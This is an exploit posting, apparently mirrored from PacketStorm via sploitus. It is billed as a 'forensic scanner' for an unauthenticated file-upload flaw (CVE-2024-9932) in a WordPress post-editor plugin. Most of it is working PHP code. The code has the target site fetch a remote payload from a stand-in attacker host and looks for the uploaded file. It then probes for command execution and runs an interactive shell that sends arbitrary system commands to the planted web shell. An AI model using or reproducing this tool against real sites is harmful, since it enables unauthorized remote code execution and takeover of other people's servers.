Share
## https://sploitus.com/exploit?id=PACKETSTORM:216379
=============================================================================================================================================
| # Title : WordPress External Post Editor Plugin 1.2.3 Forensic Vulnerability Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/ |
=============================================================================================================================================
[+] References :
[+] Summary : This PHP forensic scanner is designed to assess WordPress sites for the External Post Editor plugin vulnerability (CVE-2024-9932), which allows unauthenticated file upload potentially leading to remote code execution (RCE).
[+] The scanner performs multiple analysis phases:
Endpoint Accessibility Check: Validates the pluginβs JSON upload endpoint and reports HTTP responses (200, 401, 403, 404, etc.).
File Upload Test: Attempts to upload a test payload, checks server responses, and analyzes JSON or fallback paths for the uploaded file location.
File Verification: Confirms if the uploaded file is accessible and inspects its content type to avoid false positives.
Code Execution Testing: Sends controlled test requests to detect potential remote code execution indicators.
Summary Reporting: Generates structured details about the vulnerability, affected plugin version, type, and references.
Interactive Forensic Shell (Optional): Provides a CLI interface for advanced testing and manual command execution against the confirmed payload.
[+] The tool is modular, separates HTTP communication, logging, and shell interaction, and ensures careful scientific verification of all results without making assumptions about server OS or file paths.
[+] Usage :
# Vulnerability Test Only : php scanner.php --target https://site.com --payload http://attacker.com/test.txt --name test.txt --test-only
# Full Test with Shell : php scanner.php --target https://site.com --payload http://attacker.com/shell.php --name shell.php
[+] POC :
<?php
class WordPressVulnerabilityScanner {
private $target;
private $http_client;
private $logger;
public function __construct($target) {
$this->target = rtrim($target, '/');
$this->http_client = new HTTPClient();
$this->logger = new Logger();
}
public function testEndpointAccessibility() {
$this->logger->info("Testing endpoint accessibility");
$endpoint = $this->target . '/wp-json/external-post-editor/v2/image-upload';
$response = $this->http_client->head($endpoint);
if ($response['code'] == 404) {
$this->logger->error("Endpoint not found");
return false;
}
if ($response['code'] == 403 || $response['code'] == 401) {
$this->logger->warning("Endpoint requires authentication");
return false;
}
$this->logger->success("Endpoint accessible (HTTP {$response['code']})");
return true;
}
public function testFileUploadVulnerability($payload_url, $file_name) {
$this->logger->info("Testing file upload vulnerability");
$endpoint = $this->target . '/wp-json/external-post-editor/v2/image-upload';
$headers = [
'Content-Type' => 'application/json'
];
$data = [
'url' => $payload_url,
'imageName' => $file_name
];
$response = $this->http_client->post($endpoint, $data, $headers);
if ($response['code'] !== 200) {
$this->logger->error("Upload failed with HTTP {$response['code']}");
return false;
}
$json_data = @json_decode($response['body'], true);
if (!$json_data) {
$this->logger->warning("Invalid JSON response");
return $this->analyzeUploadFallback($file_name);
}
if (isset($json_data['success']) && $json_data['success'] === false) {
$this->logger->error("API indicated failure: " . ($json_data['message'] ?? 'Unknown'));
return false;
}
$uploaded_url = null;
if (isset($json_data['data']['url'])) {
$uploaded_url = $json_data['data']['url'];
} elseif (isset($json_data['url'])) {
$uploaded_url = $json_data['url'];
}
if ($uploaded_url) {
$this->logger->success("File uploaded to: " . $uploaded_url);
return ['uploaded_url' => $uploaded_url, 'method' => 'api_response'];
}
return $this->analyzeUploadFallback($file_name);
}
private function analyzeUploadFallback($file_name) {
$this->logger->info("Attempting to locate uploaded file");
$test_paths = $this->generateTestPaths($file_name);
foreach ($test_paths as $path) {
$test_url = $this->target . $path;
$response = $this->http_client->get($test_url, ['timeout' => 3]);
if ($response['code'] == 200) {
$content_type = strtolower($response['headers']['content-type'] ?? '');
if (strpos($content_type, 'text/html') !== false) {
continue;
}
$this->logger->success("Found file at: " . $test_url);
return ['uploaded_url' => $test_url, 'method' => 'bruteforce'];
}
}
$this->logger->error("Could not locate uploaded file");
return false;
}
private function generateTestPaths($file_name) {
$paths = [];
$paths[] = "/wp-content/uploads/{$file_name}";
$paths[] = "/uploads/{$file_name}";
$current_year = date('Y');
$current_month = date('m');
$paths[] = "/wp-content/uploads/{$current_year}/{$current_month}/{$file_name}";
$paths[] = "/wp-content/uploads/" . ($current_year - 1) . "/{$current_month}/{$file_name}";
return $paths;
}
public function verifyFileAccess($url) {
$this->logger->info("Verifying file accessibility");
$response = $this->http_client->head($url);
if ($response['code'] == 200) {
$this->logger->success("File is accessible (HTTP 200)");
$content_type = strtolower($response['headers']['content-type'] ?? '');
if (strpos($content_type, 'text/html') !== false) {
$this->logger->warning("File appears to be HTML (may be error page)");
}
return true;
}
$this->logger->error("File not accessible (HTTP {$response['code']})");
return false;
}
public function testCodeExecution($payload_url, $test_payload) {
$this->logger->info("Testing code execution capability");
$tests = [
[
'param' => 'test',
'expected' => 'OK',
'description' => 'Basic parameter test'
],
[
'param' => 'cmd',
'expected' => null,
'description' => 'Command parameter test'
]
];
foreach ($tests as $test) {
$test_url = $payload_url . '?' . $test['param'] . '=echo%20' . bin2hex(random_bytes(4));
$response = $this->http_client->get($test_url);
$this->logger->debug("Test: {$test['description']} - HTTP {$response['code']}");
if ($response['code'] == 200) {
$analysis = $this->analyzeResponse($response['body'], $test['param']);
if ($analysis['likely_execution']) {
$this->logger->success("Potential code execution detected via {$test['param']} parameter");
return [
'execution_method' => $test['param'],
'analysis' => $analysis
];
}
}
}
$this->logger->error("No code execution capability detected");
return false;
}
private function analyzeResponse($body, $test_param) {
$analysis = [
'likely_execution' => false,
'indicators' => [],
'content_type_hints' => []
];
$execution_indicators = [
'<?php' => 'PHP opening tag',
'system(' => 'System function call',
'exec(' => 'Exec function',
'shell_exec(' => 'Shell exec',
'passthru(' => 'Passthru function',
'popen(' => 'Popen function',
'proc_open(' => 'Proc open function',
'`' => 'Backtick execution'
];
$error_indicators = [
'Parse error' => 'PHP parse error',
'Warning:' => 'PHP warning',
'Notice:' => 'PHP notice',
'Fatal error' => 'PHP fatal error'
];
$body_lower = strtolower($body);
foreach ($execution_indicators as $indicator => $description) {
if (stripos($body, $indicator) !== false) {
$analysis['indicators'][] = $description;
$analysis['likely_execution'] = true;
}
}
foreach ($error_indicators as $indicator => $description) {
if (stripos($body, $indicator) !== false) {
$analysis['content_type_hints'][] = $description;
}
}
$content_length = strlen($body);
if ($content_length > 1000 && $content_length < 10000) {
$analysis['indicators'][] = "Moderate response length ({$content_length} bytes)";
}
return $analysis;
}
public function getExploitSummary() {
return [
'vulnerability' => 'CVE-2024-9932',
'type' => 'Unauthenticated File Upload β RCE',
'component' => 'External Post Editor WordPress Plugin',
'status' => '0-day (as of analysis date)',
'references' => [
'https://wordpress.org/plugins/external-post-editor/',
'https://wpscan.com/vulnerability/...'
]
];
}
}
class HTTPClient {
private $default_options = [
'timeout' => 10,
'connect_timeout' => 5,
'user_agent' => 'Security-Scanner/1.0',
'follow_redirects' => false,
'verify_ssl' => false
];
public function request($method, $url, $options = []) {
$options = array_merge($this->default_options, $options);
$ch = curl_init($url);
$curl_options = [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_CUSTOMREQUEST => strtoupper($method),
CURLOPT_TIMEOUT => $options['timeout'],
CURLOPT_CONNECTTIMEOUT => $options['connect_timeout'],
CURLOPT_USERAGENT => $options['user_agent'],
CURLOPT_FOLLOWLOCATION => $options['follow_redirects'],
CURLOPT_SSL_VERIFYPEER => $options['verify_ssl'],
CURLOPT_SSL_VERIFYHOST => $options['verify_ssl'] ? 2 : 0,
CURLOPT_HEADER => true
];
if (isset($options['data'])) {
if (isset($options['headers']['Content-Type']) &&
strpos($options['headers']['Content-Type'], 'application/json') !== false) {
$curl_options[CURLOPT_POSTFIELDS] = json_encode($options['data']);
} else {
$curl_options[CURLOPT_POSTFIELDS] = http_build_query($options['data']);
}
}
if (!empty($options['headers'])) {
$header_array = [];
foreach ($options['headers'] as $key => $value) {
$header_array[] = "{$key}: {$value}";
}
$curl_options[CURLOPT_HTTPHEADER] = $header_array;
}
curl_setopt_array($ch, $curl_options);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$error = curl_error($ch);
curl_close($ch);
$headers = [];
$body = '';
if ($response !== false) {
$header_text = substr($response, 0, $header_size);
$body = substr($response, $header_size);
$headers = $this->parseHeaders($header_text);
}
return [
'success' => $response !== false && $http_code > 0,
'code' => $http_code,
'body' => $body,
'headers' => $headers,
'error' => $error,
'url' => $url
];
}
public function get($url, $options = []) {
return $this->request('GET', $url, $options);
}
public function post($url, $data = [], $headers = [], $options = []) {
$options['data'] = $data;
$options['headers'] = array_merge($headers, ['Content-Type' => 'application/json']);
return $this->request('POST', $url, $options);
}
public function head($url, $options = []) {
$options['method'] = 'HEAD';
return $this->request('HEAD', $url, $options);
}
private function parseHeaders($header_text) {
$headers = [];
$lines = explode("\r\n", $header_text);
foreach ($lines as $line) {
if (strpos($line, ':') !== false) {
list($key, $value) = explode(':', $line, 2);
$headers[strtolower(trim($key))] = trim($value);
}
}
return $headers;
}
}
class Logger {
private $log_level = 'INFO'; // DEBUG, INFO, WARNING, ERROR
private $colors = true;
public function setLevel($level) {
$this->log_level = strtoupper($level);
}
public function debug($message) {
if ($this->shouldLog('DEBUG')) {
$this->output("[D] " . $message, 'gray');
}
}
public function info($message) {
if ($this->shouldLog('INFO')) {
$this->output("[*] " . $message, 'white');
}
}
public function warning($message) {
if ($this->shouldLog('WARNING')) {
$this->output("[!] " . $message, 'yellow');
}
}
public function error($message) {
if ($this->shouldLog('ERROR')) {
$this->output("[-] " . $message, 'red');
}
}
public function success($message) {
if ($this->shouldLog('INFO')) {
$this->output("[+] " . $message, 'green');
}
}
private function shouldLog($level) {
$levels = ['DEBUG' => 1, 'INFO' => 2, 'WARNING' => 3, 'ERROR' => 4];
return $levels[$level] >= ($levels[$this->log_level] ?? 2);
}
private function output($message, $color) {
if ($this->colors && PHP_SAPI === 'cli') {
$colors = [
'red' => "\033[31m",
'green' => "\033[32m",
'yellow' => "\033[33m",
'blue' => "\033[34m",
'gray' => "\033[90m",
'white' => "\033[97m",
'reset' => "\033[0m"
];
echo ($colors[$color] ?? '') . $message . $colors['reset'] . "\n";
} else {
echo $message . "\n";
}
}
}
class InteractiveShell {
private $http_client;
private $payload_url;
private $logger;
private $session_id;
public function __construct($http_client, $payload_url, $logger) {
$this->http_client = $http_client;
$this->payload_url = $payload_url;
$this->logger = $logger;
$this->session_id = 'SESS_' . bin2hex(random_bytes(4));
}
public function start() {
$this->logger->info("Starting forensic shell");
$this->logger->info("Session: " . $this->session_id);
$this->logger->info("Boundary: " . $this->payload_url);
echo "\n=== Forensic Shell ===\n";
echo "Commands: command, exit, help, info, test\n\n";
while (true) {
echo "fshell> ";
$input = trim(fgets(STDIN));
if (empty($input)) continue;
$parts = explode(' ', $input, 2);
$command = strtolower($parts[0]);
$argument = $parts[1] ?? '';
switch ($command) {
case 'exit':
$this->logger->info("Exiting shell");
return;
case 'help':
$this->showHelp();
break;
case 'info':
$this->showInfo();
break;
case 'test':
$this->testConnection();
break;
case 'command':
if (empty($argument)) {
$this->logger->error("No command provided");
break;
}
$this->executeCommand($argument);
break;
default:
$this->logger->error("Unknown command: {$command}");
echo "Type 'help' for available commands\n";
}
}
}
private function executeCommand($cmd) {
$this->logger->debug("Executing: {$cmd}");
$test_params = ['cmd', 'c', 'exec', 'command', 'run'];
foreach ($test_params as $param) {
$test_url = $this->payload_url . '?' . $param . '=' . urlencode($cmd);
$response = $this->http_client->get($test_url);
if ($response['code'] == 200) {
$this->displayResult($response['body'], $param);
return;
}
}
$this->logger->error("No successful parameter found for command execution");
}
private function displayResult($body, $param_used) {
echo "\n--- Result (via {$param_used}) ---\n";
$clean_body = $this->cleanResponse($body);
if (empty(trim($clean_body))) {
echo "(Empty response)\n";
} else {
if (strlen($clean_body) > 5000) {
echo substr($clean_body, 0, 5000) . "\n... [truncated, total: " . strlen($clean_body) . " bytes]\n";
} else {
echo $clean_body . "\n";
}
}
echo "--- End ---\n\n";
}
private function cleanResponse($body) {
$clean = strip_tags($body);
$clean = preg_replace('/\s+/', ' ', $clean);
return trim($clean);
}
private function showHelp() {
$help = <<<HELP
Available commands:
command <cmd> - Execute system command
test - Test connection to payload
info - Show session information
help - Show this help
exit - Exit the shell
Examples:
command whoami
command id
command pwd
command ls -la
HELP;
echo $help;
}
private function showInfo() {
echo "\nSession Information:\n";
echo " Session ID: " . $this->session_id . "\n";
echo " Payload URL: " . $this->payload_url . "\n";
echo " Timestamp: " . date('Y-m-d H:i:s') . "\n\n";
}
private function testConnection() {
$response = $this->http_client->head($this->payload_url);
if ($response['code'] == 200) {
$this->logger->success("Payload accessible (HTTP 200)");
$test_response = $this->http_client->get($this->payload_url . '?test=ping');
$content_type = $test_response['headers']['content-type'] ?? 'unknown';
echo " Content-Type: " . $content_type . "\n";
echo " Body length: " . strlen($test_response['body']) . " bytes\n";
} else {
$this->logger->error("Payload not accessible (HTTP {$response['code']})");
}
}
}
if (PHP_SAPI !== 'cli') {
die("This tool must be run from command line\n");
}
$options = getopt('', [
'target:',
'payload:',
'name:',
'test-only',
'no-shell',
'verbose',
'help'
]);
if (isset($options['help'])) {
showHelp();
exit(0);
}
function showHelp() {
echo <<<HELP
WordPress CVE-2024-9932 Forensic Scanner By indoushka
Usage: php scanner.php --target URL --payload URL --name FILENAME
Required:
--target WordPress site URL
--payload Remote payload URL to test upload
--name Filename for upload test
Options:
--test-only Only test vulnerability, don't start shell
--no-shell Don't start interactive shell
--verbose Enable verbose output
--help Show this help
Example:
php scanner.php --target https://vuln.site \\
--payload http://test.com/probe.php \\
--name test.php
HELP;
}
$required = ['target', 'payload', 'name'];
foreach ($required as $req) {
if (!isset($options[$req])) {
echo "Error: Missing required argument --{$req}\n\n";
showHelp();
exit(1);
}
}
// Main execution
try {
$logger = new Logger();
if (isset($options['verbose'])) {
$logger->setLevel('DEBUG');
}
$scanner = new WordPressVulnerabilityScanner($options['target']);
echo "\n";
$logger->info("Starting forensic analysis");
$logger->info("Target: " . $options['target']);
// Phase 1: Test endpoint accessibility
if (!$scanner->testEndpointAccessibility()) {
$logger->error("Initial test failed");
exit(1);
}
$upload_result = $scanner->testFileUploadVulnerability(
$options['payload'],
$options['name']
);
if (!$upload_result) {
$logger->error("File upload test failed");
exit(1);
}
$logger->success("File upload vulnerability confirmed");
$uploaded_url = $upload_result['uploaded_url'] ?? '';
if (!$scanner->verifyFileAccess($uploaded_url)) {
$logger->warning("Uploaded file may not be accessible");
}
$execution_test = $scanner->testCodeExecution($uploaded_url, $options['payload']);
if (!$execution_test && !isset($options['test-only'])) {
$logger->warning("No code execution detected. Starting forensic shell anyway.");
}
$summary = $scanner->getExploitSummary();
$logger->info("Vulnerability: " . $summary['vulnerability']);
$logger->info("Type: " . $summary['type']);
if (!isset($options['test-only']) && !isset($options['no-shell'])) {
if ($uploaded_url) {
$http_client = new HTTPClient();
$shell = new InteractiveShell($http_client, $uploaded_url, $logger);
$shell->start();
} else {
$logger->error("Cannot start shell: No payload URL available");
}
}
$logger->info("Analysis complete");
} catch (Exception $e) {
echo "Fatal error: " . $e->getMessage() . "\n";
exit(1);
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================